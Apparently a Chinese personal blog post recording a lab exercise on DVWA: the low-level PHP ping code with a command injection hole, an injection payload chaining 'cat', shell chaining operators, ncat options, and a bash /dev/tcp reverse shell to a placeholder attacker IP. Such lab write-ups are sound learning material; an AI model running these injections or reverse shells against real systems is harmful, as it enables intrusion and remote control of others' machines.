Ea5ter's Bolg

浅析命令执行漏洞

字数统计: 1.4k阅读时长: 5 min
2018/09/09 Share

前几天搞了一个 VPS 来玩,试验了一下反弹shell,顺带再复习下命令执行漏洞。

实验环境

kali 上搭的 DVWA,VPS。

命令执行

以下是 low 级别的命令执行代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];

// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}

?>

其中 php_uname() 函数是用来识别系统信息,shell_exec() 函数用来执 ping 命令。但是对用户的输入字段 ip 没有任何过滤,存在命令执行漏洞。

漏洞利用

首先在 /home 下创建一个文件 1 写上一句话。

然后在 IP 地址栏输入“127.0.0.1;cat /home/1”。

用“;”连接命令,这样在执行了 ping 后就会执行 cat 读取文件。除此之外执行多个命令的方法还有:

  • “;”:被分号连接的命令就算是出错也会继续执行下去。
  • “&&”:被“&&”分隔的命令也会一直执行,但前面的命令出错时停止执行后面的命令。
  • “&”:“&”连接命令可以使前面的命令放到后台执行,然后就可以继续运行后面的命令。如下图执行命令后出现了“[1] 2625”,这里的[1]表示表示job ID是1,2625表示进程ID。
  • “||”:“||”相当于逻辑或,用其连接的命令只要一个出现了结果就会终止执行后面的命令。
  • “|”:Command 1 | Command 2,“|”是管道符,表示将Command 1的输出作为Command 2的输入,并且只打印Command 2执行的结果。

绕过技巧

相关绕过技巧可参考:浅谈CTF中命令执行与绕过的小技巧

NC反弹shell

这里的知识只能说知其然不知其所以然,粗略的说下自己的理解。
第一是反弹的工具 Netcat ,cat 是读取文件的一种方式,加上一个 net 大意应该就是网上读取的工具,功能很强又称网络瑞士军刀。关于其参数这里在使用手册上摘了一段:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
Ncat 7.70SVN(https://nmap.org/ncat)
用法:ncat [options] [hostname] [port]

花费时间的选项假设为秒。追加'ms'几毫秒,
'秒','m'表示分钟,或'h'表示持续数小时(例如500毫秒)。
-4仅使用IPv4
-6仅使用IPv6
-U, - unixsock仅使用Unix域套接字
-C, - crlf将CRLF用于EOL序列
-c, - sh-exec <command>通过/ bin / sh执行给定的命令
-e, - exec <command>执行给定的命令
--lua-exec <filename>执行给定的Lua脚本
-g hop1 [,hop2,...]松散的源路由跳跃点(最多8个)
-G <n>松散的源路由跳跃指针(4,8,12,...)
-m, - max-conns <n>最大<n>个同时连接
-h, - help显示此帮助屏幕
-d, - delay <time>在读/写之间等待
-o, - output <filename>将会话数据转储到文件
-x, - hex-dump <filename>将会话数据转换为文件的十六进制
-i, - idle-timeout <time>空闲读/写超时
-p, - source-port port指定要使用的源端口
-s, - source addr指定要使用的源地址(不影响-l)
-l, - hide绑定并侦听传入的连接
-k, - keep-open在侦听模式下接受多个连接
-n,--nodns不要通过DNS解析主机名
-t, - telnet回答Telnet谈判
-u, - upp使用UDP而不是默认TCP
--sctp使用SCTP而不是默认TCP
-v, - verbose设置详细级别(可以多次使用)
-w, - wait <time>连接超时
-z零I / O模式,仅报告连接状态
--append-output附加而不是clobber指定的输出文件
--send-only仅发送数据,忽略收到; 退出EOF
--recv-only仅接收数据,从不发送任何内容
--allow仅允许给定主机连接到Ncat
--allowfile允许连接到Ncat的主机文件
--deny Deny让主机连接到Ncat
--denyfile被拒绝连接到Ncat的主机文件
--broker启用Ncat的连接代理模式
- 聊天启动一个简单的Ncat聊天服务器
--proxy <addr [:port]>指定要代理的主机的地址
--proxy-type <type>指定代理类型(“http”或“socks4”或“socks5”)
--proxy-auth <auth>使用HTTP或SOCKS代理服务器进行身份验证
--ssl使用SSL连接或收听
--ssl-cert指定用于侦听的SSL证书文件(PEM)
--ssl-key指定用于侦听的SSL私钥(PEM)
--ssl-verify验证证书的信任和域名
--ssl-trustfile包含受信任SSL证书的PEM文件
--ssl-ciphers包含要使用的SSL密码的密码列表
--ssl-alpn要使用的ALPN协议列表。
--version显示Ncat的版本信息并退出

实验环境

反弹shell的使用场景是:
靶机在内网不能被直连的情况下使用反弹 shell 来获取靶机环境。
用一台外网的 centOS7 当攻击机,内网的 kali 当靶机进行实验。

bash反弹

先开启主机监听80端口

1
nc -lvvp 80

靶机 bash 反弹

1
bash -i >& /dev/tcp/XXXXXX(ip)/80(端口) 0>&1

连接成功
由于对 linux 不熟很多东西都一知半解的,netcat、/bin/bash、shell……这些知识还得多加学习。

参考资料

【技术分享】linux各种一句话反弹shell总结
Web渗透中的反弹Shell与端口转发的奇淫技巧
新手指南:DVWA-1.9全级别教程之Command Injection
Linux每天一个命令:nc/ncat

CATALOG
  1. 1. 实验环境
  2. 2. 命令执行
  3. 3. 漏洞利用
  4. 4. 绕过技巧
  5. 5. NC反弹shell
    1. 5.1. 实验环境
    2. 5.2. bash反弹
  6. 6. 参考资料